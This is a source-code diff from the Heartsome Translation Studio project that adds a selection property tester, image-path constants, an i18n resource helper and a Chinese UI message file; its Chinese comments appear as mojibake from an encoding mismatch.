b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/SelectProjectOrXLIFFPropertyTester.java new file mode 100644 index 0000000..7cd5cde --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/SelectProjectOrXLIFFPropertyTester.java @@ -0,0 +1,94 @@ +package net.heartsome.cat.ts.ui.propertyTester; + +import java.util.List; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 验è¯æ‰€é€‰æ˜¯å¦æ˜¯é¡¹ç›®ï¼ŒXLIFF 文件夹或其å­æ–‡ä»¶å¤¹ï¼ŒXLIFF 文件。 + * @author peason + * @version + * @since JDK1.6 + */ +public class SelectProjectOrXLIFFPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "navigatorPopup"; + public static final String PROPERTY_ENABLED = "projectOrXLIFF"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + if (page.getActivePartReference() == null) { + return false; + } + String partId = page.getActivePartReference().getId(); + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + if(viewPart == null){ + return false; + } + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile file = (IFile) obj; + // Linux 下的文本文件无扩展å,因此è¦å…ˆåˆ¤æ–­æ‰©å±•å是å¦ä¸ºç©º + if (file.getFileExtension() == null || !CommonFunction.validXlfExtension(file.getFileExtension())) { + return false; + } else { + String xlfFolderPath = file.getProject().getFullPath().append(Constant.FOLDER_XLIFF).toOSString(); + if (!file.getFullPath().toOSString().startsWith(xlfFolderPath)) { + return false; + } + } + } else if (obj instanceof IFolder) { + IFolder folder = (IFolder) obj; + String xlfFolderPath = folder.getProject().getFullPath().append(Constant.FOLDER_XLIFF).toOSString(); + if (!folder.getFullPath().toOSString().startsWith(xlfFolderPath)) { + return false; + } + } + } + } else { + return false; + } + } else if (partId.equals("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor")) { + // nattable å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPart part = page.getActivePart(); + IEditorInput editorInput = ((IEditorPart) part).getEditorInput(); + IFile iFile = (IFile) editorInput.getAdapter(IFile.class); + if (iFile == null) { + return false; + } + } else { + return false; + } + } else { + return false; + } + } else { + return false; + } + return true; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/ImageConstant.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/ImageConstant.java new file mode 100644 index 0000000..1abcbb7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/ImageConstant.java @@ -0,0 +1,75 @@ +/** + * ImageConstant.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui.resource; + +/** + * . + * @author stone + * @version + * @since JDK1.6 + */ +public final class ImageConstant { + + /** + * 资æºå¸¸é‡ç±»ï¼Œç”¨æˆ·ä¸èƒ½åˆ›å»ºç±»çš„实例。 + */ + private ImageConstant() { + } + + // 首选项 + /** 语言添加或更新对è¯æ¡†ä¸­çš„空白图片 */ + public static final String LANG_EMPTYPIC="images/preference/system/no-pic.png"; + /** 语言设置中的是å¦bidi */ + public static final String LANG_ISBIDI="images/preference/system/is-bidi.png"; + + /** 首选项 -> 系统界é¢çš„更新策略图片路径 */ + public static final String PREFERENCE_SYS_UPDATE = "images/preference/system/sys_update_32.png"; + + /** 首选项 -> 检查设置界é¢çš„设置拼写检查器图片路径,图片放在 qa ä¸‹é¢ */ + public static final String PREFERENCE_SYS_DICTIONARY = "images/sys_dictionary_32.png"; + + /** 首选项 -> 系统界é¢çš„设置界é¢è¯­è¨€å›¾ç‰‡è·¯å¾„ */ + public static final String PREFERENCE_SYS_LANGUAGE = "images/preference/system/sys_language_32.png"; + + /** 首选项 -> 系统界é¢çš„用户å设置图片路径 */ + public static final String PREFERENCE_SYS_USER = "images/preference/system/sys_user_32.png"; + + /** 首选项 -> 内置è¯å…¸é¡µé¢çš„图片路径, 图片ä¿å­˜åœ¨ qa æ’ä»¶ä¸‹é¢ */ + public static final String PREFERENCE_SYS_IN_DIC = "images/sys_in_dic_32.png"; + + /** 首选项 -> Aspell è¯å…¸é¡µé¢çš„图片路径, 存放在 qa æ’件下 */ + public static final String PREFERENCE_SYS_ASPELL_DIC = "images/sys_aspell_dic_32.png"; + + /** 首选项 -> å¿«æ·é”®é¡µé¢çš„图片路径 */ + public static final String PREFERENCE_SYS_KEY = "images/preference/system/sys_keys_32.png"; + + /** 首选项 -> 语言代ç é¡µé¢çš„图片路径 */ + public static final String PREFERENCE_SYS_LANG_CODE = "images/preference/system/sys_language_code_32.png"; + + /** 首选项 -> å“质检查代ç å›¾ç‰‡çš„路径:å“质检查ä¸åŒ…å«çš„文本段。图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_QA_Page_ignore = "images/qa_ignore_element_32.png"; + /** 首选项 -> å“质检查代ç å›¾ç‰‡çš„路径:文本段一致性检查设置。图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_QA_Page_paraConsistence = "images/qa_paragraph_consistence_32.png"; + /** 首选项 -> å“质检查代ç å›¾ç‰‡çš„路径:译文长度é™åˆ¶è®¾ç½®ã€‚图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_QA_Page_tgtLengthSet = "images/qa_tgtLength_set_32.png"; + /** 首选项 -> å“质检查代ç å›¾ç‰‡çš„路径:éžè¯‘元素设置。图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_QA_nontrans_nontransInstal = "images/qa_nontrans_element_32.png"; + /** 首选项 -> 文件分æžä»£ç å›¾ç‰‡çš„路径:检查设置。图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_QA_instal_itemsChoose = "images/qa_items_choose.png"; + + /** 首选项 -> 文件分æžä»£ç å›¾ç‰‡çš„路径:字数分æžã€‚图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_FA_analysis = "images/fa_analysis_32.png"; + /** 首选项 -> 文件分æžä»£ç å›¾ç‰‡çš„路径:分æžæ–‡ä»¶è®¾ç½®ã€‚图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_FA_fileAnalysis = "images/fa_fileAnalysis_32.png"; + /** 首选项 -> 文件分æžä»£ç å›¾ç‰‡çš„路径:加æƒç³»æ•°è®¾ç½®ã€‚图片ä¿å­˜äºŽqaæ’件下 */ + public static final String PREFERENCE_FA_equivalent = "images/fa_equivalent_set_32.png"; + + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/Messages.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/Messages.java new file mode 100644 index 0000000..6cf1097 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message.properties b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message.properties new file mode 100644 index 0000000..51365b5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message.properties @@ -0,0 +1,329 @@ +composite.LanguageLabelProvider.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a + +handlers.NewFolderHandler.msgTitle = \u63d0\u793a +handlers.NewFolderHandler.msg1 = \u8bf7\u5148\u9009\u62e9\u65b0\u5efa\u6587\u4ef6\u5939\u7684\u4fdd\u5b58\u76ee\u5f55\u3002 +handlers.NewFolderHandler.msg2 = \u8bf7\u5148\u9009\u62e9\u65b0\u5efa\u6587\u4ef6\u5939\u7684\u4fdd\u5b58\u76ee\u5f55\u3002 +handlers.OpenMultiXliffHandler.msgTitle = \u63d0\u793a +handlers.OpenMultiXliffHandler.msg1 = {0} \u4e0d\u662f XLIFF \u6587\u4ef6\uff0c\u5c06\u4e0d\u4f1a\u6253\u5f00\u5b83\u3002 +handlers.OpenMultiXliffHandler.msg2 = \u65e0\u6cd5\u5408\u5e76\u6253\u5f00\u591a\u4e2a\u9879\u76ee\u7684\u6587\u4ef6\uff0c\u8bf7\u9009\u62e9\u540c\u4e00\u4e2a\u9879\u76ee\u7684 XLIFF \u6587\u4ef6\u518d\u91cd\u8bd5\u3002 +handlers.OpenMultiXliffHandler.logger1 = [LOG] \u6587\u4ef6\u5939 {0} \u83b7\u53d6 XLIFF \u6587\u4ef6\u5931\u8d25 +handlers.OpenMultiXliffHandler.msg3 = \u5408\u5e76\u6253\u5f00\u81f3\u5c11\u9700\u8981 2 \u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.OpenMultiXliffHandler.msg4 = \u5f53\u524d\u6240\u9009\u6587\u4ef6\u5df2\u7ecf\u6253\u5f00\uff0c\u8bf7\u5148\u5173\u95ed\u8be5\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handlers.OpenMultiXliffHandler.msgTitle2 = \u786e\u8ba4 +handlers.OpenMultiXliffHandler.msg5 = \u60f3\u8981\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u4e2d\uff0c\u81f3\u5c11\u6709\u4e00\u4e2a\u6587\u4ef6\u5df2\u5728\u7f16\u8f91\u5668\u4e2d\u6253\u5f00\u3002\n\u786e\u5b9a\u8981\u8df3\u8fc7\u5df2\u6253\u5f00\u7684\u6587\u4ef6\uff0c\u7ee7\u7eed\u5408\u5e76\u6253\u5f00\u5176\u4ed6\u6587\u4ef6\u5417\uff1f\n\n\u82e5\u4e00\u5b9a\u8981\u5408\u5e76\u6253\u5f00\u672c\u6b21\u9009\u4e2d\u7684\u6240\u6709\u6587\u4ef6\uff0c\u8bf7\u5148\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u6309\u94ae\u3001\u5173\u95ed\u6240\u6709\u5df2\u6253\u5f00\u7684\u6587\u4ef6\uff0c\u7136\u540e\u518d\u9009\u62e9\u6587\u4ef6\u5408\u5e76\u6253\u5f00\u3002 +handlers.OpenMultiXliffHandler.msg6 = \u5408\u5e76\u6253\u5f00\u81f3\u5c11\u9700\u8981 2 \u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.OpenMultiXliffHandler.msg7 = \u65e0\u6cd5\u6253\u5f00\uff1a\u9009\u4e2d\u7684\u6587\u4ef6\u542b\u591a\u4e2a\u4e0d\u540c\u7684\u8bed\u8a00\u5bf9\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.OpenMultiXliffHandler.logger2 = [LOG] \u5408\u5e76\u6253\u5f00\u4e34\u65f6\u6587\u4ef6\u5220\u9664\u5931\u8d25 +handlers.OpenMultiXliffHandler.logger3 = [LOG] \u5408\u5e76\u6253\u5f00\u5931\u8d25 +handlers.OpenMultiXliffHandler.msg8 = \u5408\u5e76\u6253\u5f00\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +handlers.ProjectSettingHandler.msgTitle = \u63d0\u793a +handlers.ProjectSettingHandler.msg1 = \u8bf7\u5148\u9009\u62e9\u4e00\u4e2a\u9879\u76ee\u3002 +handlers.ProjectSettingHandler.logger1 = [LOG] \u52a0\u8f7d\u65b0\u5efa\u5411\u5bfc\u6269\u5c55\u70b9\u51fa\u9519 + +innertag.SegmentViewer.msg1 = \u65e0\u6cd5\u5220\u9664\u6e90\u6587\u4e2d\u7684\u6807\u8bb0\u3002 + +preferencepage.SystemPreferenceInitializer.logger1 = [LOG] \u672a\u627e\u5230\u4ea7\u54c1\u7684 ini \u6587\u4ef6 +preferencepage.SystemPreferencePage.title = \u7cfb\u7edf +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +preferencepage.SystemPreferencePage.Mon = \u4e00 +preferencepage.SystemPreferencePage.Tue = \u4e8c +preferencepage.SystemPreferencePage.Wed = \u4e09 +preferencepage.SystemPreferencePage.Thu = \u56db +preferencepage.SystemPreferencePage.Fri = \u4e94 +preferencepage.SystemPreferencePage.Sat = \u516d +preferencepage.SystemPreferencePage.Sun = \u65e5 +preferencepage.SystemPreferencePage.groupCommon = \u81ea\u52a8\u66f4\u65b0 +preferencepage.SystemPreferencePage.imageLabel1 = \u5b9a\u671f\u81ea\u52a8\u68c0\u67e5\u672c\u8f6f\u4ef6\u662f\u5426\u6709\u66f4\u65b0\uff1a +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = \u542f\u52a8\u65f6 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = \u6bcf\u6708 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \u53f7 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = \u6bcf\u5468 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = \u4ece\u4e0d +preferencepage.SystemPreferencePage.groupLanguage = \u754c\u9762\u8bed\u8a00 +preferencepage.SystemPreferencePage.imageLabel3 = \u6539\u53d8\u754c\u9762\u8bed\u8a00\u540e\uff0c\u9700\u8981\u91cd\u542f\u8f6f\u4ef6\u624d\u80fd\u751f\u6548\uff1a +preferencepage.SystemPreferencePage.btnLanguageWithEN = \u82f1\u6587 +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = \u7b80\u4f53\u4e2d\u6587 +preferencepage.SystemPreferencePage.groupSystemUser = \u7528\u6237\u540d +preferencepage.SystemPreferencePage.imageLabel4 = \u5728\u66f4\u65b0\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4f7f\u7528\u8be5\u7528\u6237\u540d\u4f5c\u4e3a\u7ffb\u8bd1\u5355\u5143\u7684\u521b\u5efa\u8005/\u4fee\u6539\u8005\uff1a +preferencepage.SystemPreferencePage.lblUser = \u7528\u6237\u540d\uff1a +preferencepage.SystemPreferencePage.msgTitle = \u63d0\u793a +preferencepage.SystemPreferencePage.msgInfo = \u60a8\u5df2\u7ecf\u4fee\u6539\u4e86\u754c\u9762\u8bed\u8a00\uff0c\u8be5\u8bbe\u7f6e\u9700\u8981\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u624d\u4f1a\u751f\u6548\u3002\u73b0\u5728\u91cd\u542f\u5417\uff1f +preferencepage.KeysPreferencePage.groupParent = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.imageLabel = \u8981\u81ea\u5b9a\u4e49\u67d0\u4e2a\u529f\u80fd\u7684\u5feb\u6377\u952e\uff0c\u8bf7\u5355\u51fb\u8be5\u529f\u80fd\u7684\u201c\u5feb\u6377\u952e\u201d\u5355\u5143\u683c\u8fdb\u5165\u7f16\u8f91\u72b6\u6001\uff0c\u7136\u540e\u6309\u4e0b\u6240\u9700\u7684\u5feb\u6377\u952e\u7ec4\u5408\uff0c\u70b9\u51fb\u5176\u4ed6\u5730\u65b9\u9000\u51fa\u7f16\u8f91\u72b6\u6001\u5373\u53ef\u3002\u82e5\u8be5\u5feb\u6377\u952e\u7ec4\u5408\u5df2\u88ab\u5176\u4ed6\u529f\u80fd\u4f7f\u7528\uff0c\u5219\u8be5\u884c\u4f1a\u663e\u793a\u4e3a\u7ea2\u8272\u3002 +preferencepage.KeysPreferencePage.toolCategory = \u5de5\u5177 +preferencepage.KeysPreferencePage.toolbarCategory = \u5de5\u5177\u680f +preferencepage.KeysPreferencePage.helpCategory = \u5e2e\u52a9 +preferencepage.KeysPreferencePage.commandNameColumn = \u529f\u80fd +preferencepage.KeysPreferencePage.triggerSequenceColumn = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.categoryColumn = \u7c7b\u522b +preferencepage.KeysPreferencePage.msgTitle = \u63d0\u793a +preferencepage.KeysPreferencePage.msg = \u5feb\u6377\u952e\u7684\u8bbe\u7f6e\u5b58\u5728\u51b2\u7a81\uff0c\u8bf7\u4fee\u6539\u663e\u793a\u4e3a\u7ea2\u8272\u80cc\u666f\u7684\u529f\u80fd\u5feb\u6377\u952e\u3002 + +colors.ColorsPreferencePage.groupTrans = \u673a\u5668\u7ffb\u8bd1 +colors.ColorsPreferencePage.QT = \u5feb\u901f\u7ffb\u8bd1\uff1a +colors.ColorsPreferencePage.groupMatch = \u8bb0\u5fc6\u5e93\u5339\u914d +colors.ColorsPreferencePage.match101 = \u4e0a\u4e0b\u6587\u5339\u914d\uff1a +colors.ColorsPreferencePage.match100 = \u5b8c\u5168\u5339\u914d\uff1a +colors.ColorsPreferencePage.match90 = 90~99% \u5339\u914d\uff1a +colors.ColorsPreferencePage.match80 = 80~89% \u5339\u914d\uff1a +colors.ColorsPreferencePage.match70 = 70~79% \u5339\u914d\uff1a +colors.ColorsPreferencePage.match0 = \u4f4e\u4e8e 70% \u5339\u914d\uff1a +colors.ColorsPreferencePage.groupTag = \u6807\u8bb0 +colors.ColorsPreferencePage.tagForground = \u6807\u8bb0\u5e8f\u53f7\u989c\u8272\uff1a +colors.ColorsPreferencePage.tagBackground = \u9ed8\u8ba4\u6807\u8bb0\u989c\u8272\uff1a +colors.ColorsPreferencePage.groupSource = \u5dee\u5f02\u6587\u672c +colors.ColorsPreferencePage.SourceForground = \u5dee\u5f02\u6587\u672c\u80cc\u666f\u8272\uff1a +colors.ColorsPreferencePage.SourceBackground = \u5dee\u5f02\u6587\u672c\u524d\u666f\u8272\uff1a + +dictionaries.InternalDictionaresPreferencePage.title = \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.InternalDictionaresPreferencePage.logger = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +dictionaries.InternalDictionaresPreferencePage.groupParent = \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.InternalDictionaresPreferencePage.imageLabel = \u4e0b\u8f7d\u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u8bcd\u5178\uff0c\u5e76\u6dfb\u52a0\u8bed\u8a00\u4e0e\u8bcd\u5178\u7684\u914d\u5bf9\uff1a +dictionaries.InternalDictionaresPreferencePage.lblDic = \u8bcd\u5178\uff1a +dictionaries.InternalDictionaresPreferencePage.btnDownloadDic = \u4e0b\u8f7d(&D) +dictionaries.InternalDictionaresPreferencePage.lblLang = \u8bed\u8a00\uff1a +dictionaries.InternalDictionaresPreferencePage.btnAddList = \u6dfb\u52a0(&A) +dictionaries.InternalDictionaresPreferencePage.btnRemoveList = \u79fb\u9664(&R) +dictionaries.InternalDictionaresPreferencePage.arrTableHeader1 = \u8bed\u8a00 +dictionaries.InternalDictionaresPreferencePage.arrTableHeader2 = \u8bcd\u5178 +dictionaries.InternalDictionaresPreferencePage.logger1 = [LOG] \u5199\u5165\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +dictionaries.InternalDictionaresPreferencePage.msgTitle = \u63d0\u793a +dictionaries.InternalDictionaresPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981\u79fb\u9664\u7684\u8bed\u8a00\u4e0e\u8bcd\u5178\u914d\u5bf9\u3002 +dictionaries.InternalDictionaresPreferencePage.logger2 = [LOG] \u89e3\u6790\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +dictionaries.InternalDictionaresPreferencePage.logger3 = [LOG] \u590d\u5236\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dictionaries.InternalDictionaresPreferencePage.msg2 = \u8bfb\u53d6\u8bcd\u5178\u5217\u8868\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a{0}\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 +dictionaries.DictionaryList.Title = \u4e0b\u8f7d\u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u8bcd\u5178 +dictionaries.DictionaryList.langname = \u8bed\u8a00 +dictionaries.DictionaryList.filename = \u6587\u4ef6 +dictionaries.DictionaryList.HS = \u4ece Heartsome \u4e0b\u8f7d +dictionaries.DictionaryList.OOo = \u4ece OpenOffice.org \u4e0b\u8f7d +dictionaries.DictionaryList.download = \u4e0b\u8f7d(&D) +dictionaries.DictionaryList.refresh = \u5237\u65b0(&R) +dictionaries.DictionaryList.cancel = \u5173\u95ed +dictionaries.DictionaryList.msgTitle = \u63d0\u793a +dictionaries.DictionaryList.msg1 = \u8bf7\u9009\u62e9\u8981\u4e0b\u8f7d\u7684\u8bcd\u5178\u3002 +dictionaries.DictionaryList.msg2 = \u68c0\u7d22\u8bcd\u5178\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\uff1a{0} +dictionaries.DictionaryList.msg3 = \u5df2\u6210\u529f\u4e0b\u8f7d\u9009\u62e9\u7684\u8bcd\u5178\u3002 +dictionaries.DictionaryList.msg4 = \u68c0\u7d22\u5217\u8868\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\uff1a{0} +dictionaries.AspellDictionaresPreferencePage.title = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.AspellDictionaresPreferencePage.logger = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +dictionaries.AspellDictionaresPreferencePage.groupParent = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.AspellDictionaresPreferencePage.imageLabel = \u8bbe\u7f6e Aspell \u7a0b\u5e8f\u7684\u8def\u5f84\uff0c\u5e76\u6dfb\u52a0\u8bed\u8a00\u4e0e\u8bcd\u5178\u7684\u914d\u5bf9\uff1a +dictionaries.AspellDictionaresPreferencePage.lblPath = \u8def\u5f84\uff1a +dictionaries.AspellDictionaresPreferencePage.btnBrowse = \u6d4f\u89c8(&B)... +dictionaries.AspellDictionaresPreferencePage.btnUTF8 = \u4f7f\u7528 UTF-8 +dictionaries.AspellDictionaresPreferencePage.lblDic = \u8bcd\u5178\uff1a +dictionaries.AspellDictionaresPreferencePage.btnRefresh = \u5237\u65b0(&F) +dictionaries.AspellDictionaresPreferencePage.lblLang = \u8bed\u8a00\uff1a +dictionaries.AspellDictionaresPreferencePage.btnAdd = \u6dfb\u52a0(&A) +dictionaries.AspellDictionaresPreferencePage.btnRemove = \u79fb\u9664(&R) +dictionaries.AspellDictionaresPreferencePage.arrTableHeader1 = \u8bed\u8a00 +dictionaries.AspellDictionaresPreferencePage.arrTableHeader2 = \u8bcd\u5178 +dictionaries.AspellDictionaresPreferencePage.logger1 = [LOG] \u89e3\u6790 aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 +dictionaries.AspellDictionaresPreferencePage.btnBrowse.Title = \u9009\u62e9 Aspell \u7a0b\u5e8f +dictionaries.AspellDictionaresPreferencePage.logger2 = [LOG] \u5199\u5165\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +dictionaries.AspellDictionaresPreferencePage.msgTitle = \u63d0\u793a +dictionaries.AspellDictionaresPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981\u79fb\u9664\u7684\u8bed\u8a00\u4e0e\u8bcd\u5178\u914d\u5bf9\u3002 +dictionaries.AspellDictionaresPreferencePage.msg2 = \u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +dictionaries.AspellDictionaresPreferencePage.logger3 = [LOG] \u521b\u5efa aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 +dictionaries.AspellDictionaresPreferencePage.logger4 = [LOG] \u5199\u5165 aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 + +languagecode.LanguageCodesPreferencePage.groupParent = \u8bed\u8a00 +languagecode.LanguageCodesPreferencePage.imageLabel = \u7ba1\u7406\u7ffb\u8bd1\u9879\u76ee\u4e2d\u53ef\u4ee5\u4f7f\u7528\u7684\u8bed\u8a00\uff1a +languagecode.LanguageCodesPreferencePage.msgTitle = \u63d0\u793a +languagecode.LanguageCodesPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981{0}\u7684\u8bed\u8a00\u3002 +languagecode.LanguageCodesPreferencePage.msg2 = \u7f16\u8f91 +languagecode.LanguageCodesPreferencePage.msg3 = \u5220\u9664 +languagecode.LanguageCodesPreferencePage.msg4 = \u8bf7\u53ea\u9009\u62e9\u4e00\u4e2a\u8bed\u8a00\u3002 +languagecode.LanguageCodesPreferencePage.addBtn = \u6dfb\u52a0 +languagecode.LanguageCodesPreferencePage.editBtn = \u7f16\u8f91 +languagecode.LanguageCodesPreferencePage.removeBtn = \u5220\u9664 +languagecode.LanguageCodesPreferencePage.codeColumn = \u4ee3\u7801 +languagecode.LanguageCodesPreferencePage.nameColumn = \u540d\u79f0 +languagecode.LanguageCodesPreferencePage.bidiColumn = \u53cc\u5411\u8bed\u8a00 +languagecode.LanguageCodesPreferencePage.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a{0} +languagecode.LanguageCodesPreferencePage.logger2 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger3 = [LOG] \u7f16\u8f91\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.LanguageCodesPreferencePage.logger4 = [LOG] \u5220\u9664\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +languagecode.AddOrUpdateLanguageDialog.addTitle = \u6dfb\u52a0\u8bed\u8a00 +languagecode.AddOrUpdateLanguageDialog.editTitle = \u7f16\u8f91\u8bed\u8a00 +languagecode.AddOrUpdateLanguageDialog.lblLangImage = \u56fe\u6807\uff1a +languagecode.AddOrUpdateLanguageDialog.imageLabel = \u4e3a\u8bed\u8a00\u8bbe\u7f6e\u4e00\u4e2a\u5927\u5c0f\u4e3a 16x12px \u7684\u56fe\u6807\uff0c\u5355\u51fb\u56fe\u7247\u4fee\u6539\u3002 +languagecode.AddOrUpdateLanguageDialog.lblImage = \uff0816x12 \u50cf\u7d20\uff09 +languagecode.AddOrUpdateLanguageDialog.txtCode = \u8bed\u8a00\u4ee3\u7801\uff1a +languagecode.AddOrUpdateLanguageDialog.txtName = \u8bed\u8a00\u540d\u79f0\uff1a +languagecode.AddOrUpdateLanguageDialog.isBidi = \u53cc\u5411\u8bed\u8a00\uff1a +languagecode.AddOrUpdateLanguageDialog.btnIsBidi = \u662f +languagecode.AddOrUpdateLanguageDialog.btnIsNotBidi = \u5426 +languagecode.AddOrUpdateLanguageDialog.msgTitle = \u63d0\u793a +languagecode.AddOrUpdateLanguageDialog.msg1 = \u8bf7\u8f93\u5165\u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg2 = \u8be5\u8bed\u8a00\u4ee3\u7801\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +languagecode.AddOrUpdateLanguageDialog.msg3 = \u8bf7\u8f93\u5165\u8bed\u8a00\u540d\u79f0\u3002 +languagecode.AddOrUpdateLanguageDialog.msg4 = \u786e\u5b9a\u8981\u7ee7\u7eed\u4fdd\u5b58\u5417\uff1f +languagecode.AddOrUpdateLanguageDialog.msg5 = \u65e0\u6548\u7684 ISO 639-1 \u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg6 = \u65e0\u6548\u7684 ISO 639-2 \u8bed\u8a00\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg7 = \u8bed\u8a00\u4ee3\u7801\u683c\u5f0f\u5e94\u8be5\u4e3a\uff1axx-YY \u6216 xxx-YY\u3002 